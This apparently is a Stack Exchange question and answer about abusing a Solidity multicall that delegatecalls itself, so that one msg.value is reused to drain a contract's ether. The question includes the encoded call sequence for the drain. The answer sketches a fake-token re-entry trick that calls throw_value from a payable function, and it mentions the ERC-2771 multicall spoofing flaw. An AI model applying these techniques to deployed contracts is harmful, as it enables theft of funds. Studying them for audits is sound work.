1

I have a code of multi-delegatecall like this:

function multicall(bytes[] calldata _data) external payable returns(bytes[] memory _results) {
    _results = new bytes[](data.length);
    for (uint256 n = 0; n < _data.length; ++n) {
        results[n] = multiDelegate(_data[n]);
    }
    return _results;
}

function multiDelegate(bytes memory _data) private returns(bytes memory) {
    (bool ok, bytes memory res) = address(this).delegatecall(_data);

    if (!ok) revert(string(res));
    return res;
}

Important thing is that I'm doing delegatecall on address(this), where I want to make multiple calls to more functions but only one is payable.

When calling multiDelegate, the same msg.value amount will be accredited multiple times and its intentional in this case.

But when I pass in data array (having payable as well as non-payable functions) to multicall() , the transaction reverts.

Functions (on the same contract) are something like this:

function set_value(uint256 _value, address _address) external payable {
    require(values[_address] == 0, "Value already set");
    require(msg.value == EXACT_VALUE, "Value is not as intended");

    value[_address] = _value;
}

function throw_value() external {
    require(values[msg.sender] != 0, "Value not set yet");

    values[msg.sender] = 0;
    payable(msg.sender).transfer(EXACT_VALUE);
}

where EXACT_VALUE is a constant like 1 ether. The scenario is that contract has already like 5 ether balance and I try to drain funds from it with this. So I want to set the bytes[] calldata _data array to let multicall calling set_value and throw_value multiple times (using same msg.value multiple times) and this could drain the contract balance.

Array is set that way:

bytes memory set = abi.encodeWithSignature("set_value(uint256,address)", 12345, some_address);
bytes memory throw = abi.encodeWithSignature("throw_value()");

data_array.push(set);
data_array.push(throw);
data_array.push(set);
data_array.push(throw);
data_array.push(set);
data_array.push(throw);
...
contract.multicall{value: 1 ether}(data_array);

But like I said, while throw_value is non-payable and I'm trying to call it with some value, this reverts.

Question 1: Is there any possible way to make this working?

Question 2: Is there any other vulnerability when using delegatecall like this? Or just the fact that the same msg.value could be used multiple times.

Thank you.

1 Answer 1

0

Q1

You can't make it work for the reason you wrote. The only way would be if the contract has another function that lets you take control of the transaction, for example:

// (As long as it's a `payable` function that calls an address you can control you can make it work)
function takeSomeTokens(address _token, uint256 _amount) external payable {
    IERC20(_token).transferFrom(msg.sender, address(this), _amount);
}

Then you can deploy a fake token with the function:

function transferFrom(address, address, uint256) external {
    YOUR_CONTRACT.throw_value();
}

and multicall with set_value and takeSomeTokens.

Q2

The only other vulnerability I know is related to metatransactions, you can have a look at this article: https://blog.openzeppelin.com/arbitrary-address-spoofing-vulnerability-erc2771context-multicall-public-disclosure

Basically don't use ERC-2771 metatransactions and multicall together.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.